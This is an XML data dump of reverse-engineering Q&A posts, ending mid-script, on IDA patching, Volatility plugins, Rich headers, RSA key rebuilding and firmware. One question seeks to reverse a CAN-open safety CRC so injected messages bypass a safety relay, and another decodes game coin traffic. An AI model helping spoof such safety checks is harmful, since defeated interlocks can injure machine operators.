  <row Id="22208" PostTypeId="2" ParentId="22207" CreationDate="2019-09-28T19:44:50.590" Score="0" Body="&lt;p&gt;The problem is that you are changing &lt;code&gt;2&lt;/code&gt; bytes instruction &lt;code&gt;push 0&lt;/code&gt; into &lt;code&gt;push offset&lt;/code&gt; which is 5 bytes instruction. So you overwrite subsequent instruction’s prefix and that’s why sp analysis fails (&lt;code&gt;push offset Studio_done&lt;/code&gt; changed to &lt;code&gt;db 0&lt;/code&gt; and &lt;code&gt;pop&lt;/code&gt;, so you have &lt;code&gt;pop&lt;/code&gt; instead of &lt;code&gt;push&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-09-28T19:44:50.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22212" PostTypeId="2" ParentId="22207" CreationDate="2019-09-29T11:36:41.033" Score="0" Body="&lt;p&gt;Turn on bytes. You'll see you don't have enough space. You're going to have to figure out where to steal some. Wherever that is, via jump short, you need a couple more bytes. &lt;/p&gt;&#xA;" OwnerUserId="29324" LastActivityDate="2019-09-29T11:36:41.033" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22213" PostTypeId="2" ParentId="16176" CreationDate="2019-09-29T15:14:54.303" Score="0" Body="&lt;p&gt;A better way is to create our own plugin as a fork of the vadinfo.py plugin. That is really easy, even if you don't know Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, get the volatility master from GitHub &lt;a href=&quot;https://github.com/volatilityfoundation/volatility&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your working directory, create a &quot;plugins&quot; directory. From the volatility master, extact the volatility/plugins/vadinfo.py file in this directory. Rename this vadinfo.py as vaddumpheaps.py. Edit the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete everything but the imports and the &lt;code&gt;VADInfo&lt;/code&gt; and &lt;code&gt;VADDump&lt;/code&gt; classes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this import:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from volatility.plugins.vadinfo import VADInfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rename class &lt;code&gt;VADDump&lt;/code&gt; in &lt;code&gt;VADDumpHeaps&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the &lt;code&gt;__init__()&lt;/code&gt; method, add those lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config.add_option(&quot;HEAPS-ONLY&quot;, short_option = 'H', default = False,&#xA;                  action = 'store_true', help = 'Heaps only')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;render_text()&lt;/code&gt; method, look for this loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for vad, _addrspace in task.get_vads(vad_filter = filter, skip_max_commit = True):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BEFORE the loop, add this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;heaps = task.Peb.ProcessHeaps.dereference()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IN the loop, after the first test, add those lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if self._config.HEAPS_ONLY and not vad.Start in heaps:&#xA;    continue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run volatility-2.6.exe from you directory (that contains the new plugins directory, that contains the new vaddumpheaps.py):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir 666Heaps&#xA;volatility-2.6.exe --plugins=plugins -p 666 -D 666Heaps -H vaddumpheaps&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This presumes that you created some .volatilityrc file that contains something like this, to avoid having to specify the file and the profile everytime you call volatility-2.6.exe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[DEFAULT]&#xA;PROFILE=Win7SP1x86&#xA;LOCATION=file://memory.dmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The new plugin will dump the VAD heaps only. Very useful.&lt;/p&gt;&#xA;" OwnerUserId="29744" LastActivityDate="2019-09-29T15:14:54.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22214" PostTypeId="1" CreationDate="2019-09-29T22:30:38.823" Score="0" ViewCount="201" Body="&lt;p&gt;Hope someone can help me to set parametres for IDA PRO for decompile Firmware Motorola HC908JB8JDW&#xA;i tried every combinanated value but without sucess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AbR1P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AbR1P.png&quot; alt=&quot;Memoy map**strong text**&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c4ctC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c4ctC.png&quot; alt=&quot;ida&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29750" LastActivityDate="2019-09-29T22:30:38.823" Title="How to set parametres for IDA PRO for decompile Firmware Motorola HC908JB8JDW" Tags="|ida|motorola|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22215" PostTypeId="1" CreationDate="2019-09-30T13:11:46.807" Score="1" ViewCount="187" Body="&lt;p&gt;I'm reversing this game and got stuck. To make it simple, You have some amount of coins in the game (&lt;code&gt;float&lt;/code&gt; or &lt;code&gt;double&lt;/code&gt;) and you can spend it on some things. I started sniffing network traffic and noticed that with different amount of coins, only 2 bytes change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've bought different amount of coins and copied those two bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(5)&#xA;&#xA;1111 0100 0000 0011 (F4 03)&#xA;&#xA;---------------------------&#xA;&#xA;(6)&#xA;&#xA;1101 1000 0000 0100 (D8 04)&#xA;&#xA;---------------------------&#xA;&#xA;(7)&#xA;&#xA;1011 1100 0000 0101 (BC 05)&#xA;&#xA;---------------------------&#xA;&#xA;(8)&#xA;&#xA;1010 0000 0000 0110 (A0 06) &#xA;&#xA;---------------------------&#xA;&#xA;(9)&#xA;&#xA;1000 0100 0000 0111 (84 07)&#xA;&#xA;---------------------------&#xA;&#xA;(10)&#xA;&#xA;1110 1000 0000 0111 (E8 07)&#xA;&#xA;&#xA;(11)&#xA;&#xA;1100 1100 0000 1000 (CC 08)&#xA;&#xA;---------------------------&#xA;&#xA;(12)&#xA;&#xA;1011 0000 0000 1001 (B0 09)&#xA;&#xA;---------------------------&#xA;&#xA;(13)&#xA;&#xA;1001 0100 0000 1010 (94 0a)&#xA;&#xA;---------------------------&#xA;&#xA;(14)&#xA;&#xA;1111 1000 0000 1010 (F8 0a)&#xA;&#xA;---------------------------&#xA;&#xA;(15)&#xA;&#xA;1101 1100 0000 1011 (DC 0B)&#xA;&#xA;---------------------------&#xA;(16)&#xA;&#xA;1100 0000 0000 1100 (C0 0C)&#xA;&#xA;---------------------------&#xA;&#xA;(17)&#xA;&#xA;1010 0100 0000 1101 (A4 0D)&#xA;&#xA;---------------------------&#xA;&#xA;(18)&#xA;&#xA;1000 1000 0000 1110 (88 0E)&#xA;&#xA;---------------------------&#xA;&#xA;(19)&#xA;&#xA;1110 1100 0000 1110 (EC 0E)&#xA;&#xA;---------------------------&#xA;&#xA;(20)&#xA;&#xA;1101 0000 0000 1111 (D0 0F)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First line represents the amount of coins that I have, and the second is it's corresponding bytes in hex from wireshark. I don't know which encoding method is used for this. Maybe someone has some experience and knows the algorithm behind it. Thanks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8&#xA;&#xA;1010 0000 0000 0110 (A0 06) &#xA;&#xA;-----------------------------&#xA;&#xA;&#xA;16&#xA;&#xA;1100 0000 0000 1100 (C0 0C)&#xA;&#xA;--------------------------&#xA;&#xA;256&#xA;&#xA;1100 1000 0000 0001 (C8 01)&#xA;&#xA;----------------------------&#xA;&#xA;512&#xA;&#xA;1001 0000 0000 0011 (90 03)&#xA;&#xA;-----------------------------&#xA;&#xA;&#xA;2048&#xA;&#xA;1100 0000 0000 1100 (C0 0C)&#xA;&#xA;----------------------------&#xA;&#xA;4096&#xA;&#xA;1000 0000 0001 1001 (80 19)&#xA;&#xA;-----------------------------&#xA;&#xA;8192&#xA;&#xA;1000 0000 0011 0010 (80 32)&#xA;&#xA;------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that &lt;code&gt;2048&lt;/code&gt; and &lt;code&gt;16&lt;/code&gt; have same code. I can't understand why this happened, how does it differentiate &lt;code&gt;16&lt;/code&gt; and &lt;code&gt;2048&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different amount of coins can be spend in different rooms, for example &lt;code&gt;8&lt;/code&gt; and &lt;code&gt;16&lt;/code&gt; are spend in one room, it has maximum limit of &lt;code&gt;30&lt;/code&gt;. &lt;code&gt;256&lt;/code&gt; and &lt;code&gt;512&lt;/code&gt; on room number two and the rest in the room number three. When I enter into a room with different amount of coins all I'm looking is the differences between bytes in the same room, different rooms have different bytes in them which as I understand describe the room itself. Is it possible that I'm missing some bytes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I enter room number three with different coins &lt;code&gt;2048&lt;/code&gt; &lt;code&gt;4096&lt;/code&gt; &lt;code&gt;8192&lt;/code&gt; these are the only bytes that are changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;64   - 00110010&#xA;128  - 01100100&#xA;1024 - 1010000000000110&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  8     1010000000000110&#xA;  16    1100000000001100&#xA;  32 ?&#xA;  64    00110010&#xA; 128    01100100&#xA; 256    1100100000000001&#xA; 512    1001000000000011&#xA;1024    1010000000000110&#xA;2048    1100000000001100&#xA;4096    1000000000011001&#xA;8192    1000000000110010&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't get &lt;code&gt;32&lt;/code&gt; since I could not enter none of the rooms with that value.&lt;/p&gt;&#xA;" OwnerUserId="21456" LastEditorUserId="21456" LastEditDate="2019-10-05T15:01:24.723" LastActivityDate="2019-10-30T10:03:07.793" Title="Encoding method of float" Tags="|disassembly|encodings|networking|float|wireshark|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="22216" PostTypeId="1" AcceptedAnswerId="22302" CreationDate="2019-09-30T15:04:11.573" Score="2" ViewCount="292" Body="&lt;p&gt;I'm a RE beginner and I decided to start writing my own simple code for practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a simple code which uses a winAPI function called CreateProcess to start a calc.exe, I've wrote it in C and compiled it using with the official Microsoft SDK with visual studio 2019 as a Release version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exe file works with Windows 7 and Windows 10 without any issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched through IDA and went to the start function which should point where the main user code is, so here are my problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The start function's analysis has failed and I have failed to find where the code redirects to the CreateProcess function which I used in the code, this is how it looks:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tp0mC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tp0mC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;When I look up &quot;calc.exe&quot;, I find it in a different section, where I'm not used to see it (as compared to the Practical Malware Analysis book examples).&#xA;This is how it looks:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n4bP5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n4bP5.png&quot; alt=&quot;Where I found my user code to be in IDA pro&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have IDA pro 6.8 installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the original code looks, the main function only contains a call to the Create() function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void Create()&#xA;{&#xA;    STARTUPINFO si;&#xA;    PROCESS_INFORMATION pi;&#xA;&#xA;    SecureZeroMemory(&amp;amp;si, sizeof(si));&#xA;    si.cb = sizeof(si);&#xA;    SecureZeroMemory(&amp;amp;pi, sizeof(pi));&#xA;&#xA;    if (!CreateProcess(L&quot;C:\\Windows\\system32\\calc.exe&quot;, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi))&#xA;    {&#xA;        printf(&quot;failed, error: %d&quot;, GetLastError());&#xA;    }&#xA;    else {&#xA;        printf(&quot;Process successfuly started!&quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added to linked PDB file that was in the Release folder and IDA works great and it immediately detects the main function!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I say to myself, if I'm a malware analyst, I will get the EXE file without any PDB file, so what am I to do?&lt;/p&gt;&#xA;" OwnerUserId="29754" LastEditorUserId="29754" LastEditDate="2019-10-01T11:17:33.610" LastActivityDate="2019-10-12T12:03:24.537" Title="Unable to properly analyze a very simple C-compiled program" Tags="|ida|disassembly|malware|c|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22218" PostTypeId="1" AcceptedAnswerId="22222" CreationDate="2019-09-30T16:50:30.227" Score="1" ViewCount="915" Body="&lt;p&gt;I heard that I can use look at the RICH HEADER to find out what compiler was used. I looked at the Rich header and I cannot seem to make sense of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I find the Compiler used for this program and is there a tool to decode this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Rich header and I want to know what compiler was used for this. &#xA;HEX&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f1 0b 38 2f b5 6a 56 7c b5 6a 56 7c b5 6a 56 7c&#xA;26 24 ce 7c b4 6a 56 7c bc 12 c3 7c b7 6a 56 7c&#xA;00 f4 b6 7c b3 6a 56 7c 00 f4 89 7c b4 6a 56 7c&#xA;bc 12 c5 7c ae 6a 56 7c b5 6a 57 7c 10 6a 56 7c&#xA;ae f7 f9 7c af 6a 56 7c ae f7 cd 7c b4 6a 56 7c&#xA;ae f7 cb 7c b4 6a 56 7c 52 69 63 68 b5 6a 56 7c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ASCII&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;..8/.jV|.jV|.jV|&#xA;&amp;amp;$.|.jV|...|.jV|&#xA;...|.jV|...|.jV|&#xA;...|.jV|.jW|.jV|&#xA;...|.jV|...|.jV|&#xA;...|.jV|Rich.jV|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case I missed something in selecting the header here is the MZ + DOS and Rich&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00&#xA;b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00&#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00&#xA;0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68&#xA;69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f&#xA;74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20&#xA;6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00&#xA;f1 0b 38 2f b5 6a 56 7c b5 6a 56 7c b5 6a 56 7c&#xA;26 24 ce 7c b4 6a 56 7c bc 12 c3 7c b7 6a 56 7c&#xA;00 f4 b6 7c b3 6a 56 7c 00 f4 89 7c b4 6a 56 7c&#xA;bc 12 c5 7c ae 6a 56 7c b5 6a 57 7c 10 6a 56 7c&#xA;ae f7 f9 7c af 6a 56 7c ae f7 cd 7c b4 6a 56 7c&#xA;ae f7 cb 7c b4 6a 56 7c 52 69 63 68 b5 6a 56 7c&#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2019-10-01T19:46:00.953" Title="Can I use the Rich Header To Find out Compiler and Linker used?" Tags="|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22219" PostTypeId="1" AcceptedAnswerId="27957" CreationDate="2019-09-30T19:13:07.320" Score="2" ViewCount="156" Body="&lt;p&gt;I have the binary blobs for the components of a private key including modulus, publicExponent, privateExponent, prime1, prime2, exponent1, exponent2 and coefficient, what is the easiest way to generate a PEM/DER file from them? Is there a easy to use Python API that can be used or do I have to use C? Likewise if I have the components of a public key as binary blobs, including modulus and exponent, what's the easiest method there? Another question in this process: are the python APIs to test the property of the components, like weather the prime is a prime or weather the public and private components match?&lt;/p&gt;&#xA;" OwnerUserId="16938" LastActivityDate="2021-07-06T06:29:18.390" Title="Regenerate PEM/DER keys from binary blobs" Tags="|python|openssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22220" PostTypeId="1" CreationDate="2019-09-30T19:37:35.600" Score="1" ViewCount="104" Body="&lt;p&gt;We want to put our own messages on a can-open system. (So we can program our own functions to the system). We can put our message on the system, but when we do this, the safety relay stops the system. (Controlled by 2 processors). We also filter out the original message with a can bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel 1F0 and 1F1 are the the RAW inputs from the controller. (We manipulate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We think we found the problem.&#xA;Channel 1F2 changes a sort of random, if you actuate a function. It combines the input from the other 2 input channels. It looks like this channel is used for crc safety protocol.  (Always the same output, if you combine the same multiple functions, but as there are linear controllers there are infinite combinations possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone here who can reverse engineer what system is used for this? So we can simulatie this channel also. (Crc32 orso?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First byte of all 3 messages is a counter. (0-8 keeps always counting).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 Examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ID           DLC        Data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1F0  -       8     -        03 59 7A 7E 7F 59 7A 7E&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1F1  -       8      -       03 7F 59 00 01 20 27 05&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1F2&lt;/strong&gt;   -      8      -       &lt;strong&gt;03 0E 8E 70 1A 00 00 00&lt;/strong&gt;                              &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;1F0    -     8       -      03 59 7A 7E 7F 59 7A 7E&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1F1   -      8      -       03 7F 59 03 01 20 27 05&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1F2&lt;/strong&gt;   -      8      -       &lt;strong&gt;03 FA 3E 43 52 00 00 00&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;1F0    -     8       -      00 59 7A 7E 7F 59 7A 7E&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1F1    -     8        -     00 7F 59 02 01 20 27 05&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1F2&lt;/strong&gt;    -     8        -     &lt;strong&gt;00 55 56 C1 C2 00 00 00&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last 3 bytes from &lt;strong&gt;1F2&lt;/strong&gt; (crc / checksum?) Always stays 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks hope someone can help us. &lt;/p&gt;&#xA;" OwnerUserId="29756" LastEditorUserId="29757" LastEditDate="2019-10-01T10:30:59.243" LastActivityDate="2019-10-01T10:30:59.243" Title="CRC Checksum? (Used in can open system)" Tags="|crc|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22221" PostTypeId="1" CreationDate="2019-09-30T21:24:09.117" Score="1" ViewCount="937" Body="&lt;p&gt;I'm trying to get my old 3D printer to work with wifi again. A while ago the company was shut down and the printer relied on their website for print queues and stuff, so now the only way to use the printer is with USB. I have been trying to modify the firmware so I could get the wifi running again, running to my computer instead of their website.&#xA;I was looking at the firmware with IDA and found the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m1Ul2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m1Ul2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not really sure what is means, but it looks like a directory. Is there A way that I can possibly extract that file and edit it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this was a waste of time. I'm new to this, and all I want is the wifi working again on the darn printer.&lt;/p&gt;&#xA;" OwnerUserId="29758" LastActivityDate="2019-09-30T21:24:09.117" Title="How do I decompile/modify a .dfu file?" Tags="|firmware|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22222" PostTypeId="2" ParentId="22218" CreationDate="2019-09-30T22:44:04.570" Score="3" Body="&lt;p&gt;Yes, you can (assuming the info is not faked). I made &lt;a href=&quot;https://gist.github.com/skochinsky/07c8e95e33d9429d81a75622b5d24c8b&quot; rel=&quot;nofollow noreferrer&quot;&gt;a script&lt;/a&gt; which includes some of the common compiler/linker identifiers, and evening for missing ones you still have the build number from which you should be able to track down the specific Visual Studio version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Script in case if it is lost&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# based on code from http://trendystephen.blogspot.be/2008/01/rich-header.html&#xA;import sys&#xA;import struct&#xA;&#xA;# I'm trying not to bury the magic number...&#xA;CHECKSUM_MASK = 0x536e6144 # DanS (actuall SnaD)&#xA;RICH_TEXT = 'Rich'&#xA;RICH_TEXT_LENGTH = len(RICH_TEXT)&#xA;PE_START = 0x3c&#xA;PE_FIELD_LENGTH = 4&#xA;&#xA;# most of values up to AliasObj900 are from old MSVC leak with private PDBs; &#xA;# rest is from guesses/observations&#xA;PRODID_MAP = {&#xA;  0: &quot;Unknown&quot;,&#xA;  1: &quot;Import0&quot;,&#xA;  2: &quot;Linker510&quot;,&#xA;  3: &quot;Cvtomf510&quot;,&#xA;  4: &quot;Linker600&quot;,&#xA;  5: &quot;Cvtomf600&quot;,&#xA;  6: &quot;Cvtres500&quot;,&#xA;  7: &quot;Utc11_Basic&quot;,&#xA;  8: &quot;Utc11_C&quot;,&#xA;  9: &quot;Utc12_Basic&quot;,&#xA;  10: &quot;Utc12_C&quot;,&#xA;  11: &quot;Utc12_CPP&quot;,&#xA;  12: &quot;AliasObj60&quot;,&#xA;  13: &quot;VisualBasic60&quot;,&#xA;  14: &quot;Masm613&quot;,&#xA;  15: &quot;Masm710&quot;,&#xA;  16: &quot;Linker511&quot;,&#xA;  17: &quot;Cvtomf511&quot;,&#xA;  18: &quot;Masm614&quot;,&#xA;  19: &quot;Linker512&quot;,&#xA;  20: &quot;Cvtomf512&quot;,&#xA;  21: &quot;Utc12_C_Std&quot;,&#xA;  22: &quot;Utc12_CPP_Std&quot;,&#xA;  23: &quot;Utc12_C_Book&quot;,&#xA;  24: &quot;Utc12_CPP_Book&quot;,&#xA;  25: &quot;Implib700&quot;,&#xA;  26: &quot;Cvtomf700&quot;,&#xA;  27: &quot;Utc13_Basic&quot;,&#xA;  28: &quot;Utc13_C&quot;,&#xA;  29: &quot;Utc13_CPP&quot;,&#xA;  30: &quot;Linker610&quot;,&#xA;  31: &quot;Cvtomf610&quot;,&#xA;  32: &quot;Linker601&quot;,&#xA;  33: &quot;Cvtomf601&quot;,&#xA;  34: &quot;Utc12_1_Basic&quot;,&#xA;  35: &quot;Utc12_1_C&quot;,&#xA;  36: &quot;Utc12_1_CPP&quot;,&#xA;  37: &quot;Linker620&quot;,&#xA;  38: &quot;Cvtomf620&quot;,&#xA;  39: &quot;AliasObj70&quot;,&#xA;  40: &quot;Linker621&quot;,&#xA;  41: &quot;Cvtomf621&quot;,&#xA;  42: &quot;Masm615&quot;,&#xA;  43: &quot;Utc13_LTCG_C&quot;,&#xA;  44: &quot;Utc13_LTCG_CPP&quot;,&#xA;  45: &quot;Masm620&quot;,&#xA;  46: &quot;ILAsm100&quot;,&#xA;  47: &quot;Utc12_2_Basic&quot;,&#xA;  48: &quot;Utc12_2_C&quot;,&#xA;  49: &quot;Utc12_2_CPP&quot;,&#xA;  50: &quot;Utc12_2_C_Std&quot;,&#xA;  51: &quot;Utc12_2_CPP_Std&quot;,&#xA;  52: &quot;Utc12_2_C_Book&quot;,&#xA;  53: &quot;Utc12_2_CPP_Book&quot;,&#xA;  54: &quot;Implib622&quot;,&#xA;  55: &quot;Cvtomf622&quot;,&#xA;  56: &quot;Cvtres501&quot;,&#xA;  57: &quot;Utc13_C_Std&quot;,&#xA;  58: &quot;Utc13_CPP_Std&quot;,&#xA;  59: &quot;Cvtpgd1300&quot;,&#xA;  60: &quot;Linker622&quot;,&#xA;  61: &quot;Linker700&quot;,&#xA;  62: &quot;Export622&quot;,&#xA;  63: &quot;Export700&quot;,&#xA;  64: &quot;Masm700&quot;,&#xA;  65: &quot;Utc13_POGO_I_C&quot;,&#xA;  66: &quot;Utc13_POGO_I_CPP&quot;,&#xA;  67: &quot;Utc13_POGO_O_C&quot;,&#xA;  68: &quot;Utc13_POGO_O_CPP&quot;,&#xA;  69: &quot;Cvtres700&quot;,&#xA;  70: &quot;Cvtres710p&quot;,&#xA;  71: &quot;Linker710p&quot;,&#xA;  72: &quot;Cvtomf710p&quot;,&#xA;  73: &quot;Export710p&quot;,&#xA;  74: &quot;Implib710p&quot;,&#xA;  75: &quot;Masm710p&quot;,&#xA;  76: &quot;Utc1310p_C&quot;,&#xA;  77: &quot;Utc1310p_CPP&quot;,&#xA;  78: &quot;Utc1310p_C_Std&quot;,&#xA;  79: &quot;Utc1310p_CPP_Std&quot;,&#xA;  80: &quot;Utc1310p_LTCG_C&quot;,&#xA;  81: &quot;Utc1310p_LTCG_CPP&quot;,&#xA;  82: &quot;Utc1310p_POGO_I_C&quot;,&#xA;  83: &quot;Utc1310p_POGO_I_CPP&quot;,&#xA;  84: &quot;Utc1310p_POGO_O_C&quot;,&#xA;  85: &quot;Utc1310p_POGO_O_CPP&quot;,&#xA;  86: &quot;Linker624&quot;,&#xA;  87: &quot;Cvtomf624&quot;,&#xA;  88: &quot;Export624&quot;,&#xA;  89: &quot;Implib624&quot;,&#xA;  90: &quot;Linker710&quot;,&#xA;  91: &quot;Cvtomf710&quot;,&#xA;  92: &quot;Export710&quot;,&#xA;  93: &quot;Implib710&quot;,&#xA;  94: &quot;Cvtres710&quot;,&#xA;  95: &quot;Utc1310_C&quot;,&#xA;  96: &quot;Utc1310_CPP&quot;,&#xA;  97: &quot;Utc1310_C_Std&quot;,&#xA;  98: &quot;Utc1310_CPP_Std&quot;,&#xA;  99: &quot;Utc1310_LTCG_C&quot;,&#xA;  100: &quot;Utc1310_LTCG_CPP&quot;,&#xA;  101: &quot;Utc1310_POGO_I_C&quot;,&#xA;  102: &quot;Utc1310_POGO_I_CPP&quot;,&#xA;  103: &quot;Utc1310_POGO_O_C&quot;,&#xA;  104: &quot;Utc1310_POGO_O_CPP&quot;,&#xA;  105: &quot;AliasObj710&quot;,&#xA;  106: &quot;AliasObj710p&quot;,&#xA;  107: &quot;Cvtpgd1310&quot;,&#xA;  108: &quot;Cvtpgd1310p&quot;,&#xA;  109: &quot;Utc1400_C&quot;,&#xA;  110: &quot;Utc1400_CPP&quot;,&#xA;  111: &quot;Utc1400_C_Std&quot;,&#xA;  112: &quot;Utc1400_CPP_Std&quot;,&#xA;  113: &quot;Utc1400_LTCG_C&quot;,&#xA;  114: &quot;Utc1400_LTCG_CPP&quot;,&#xA;  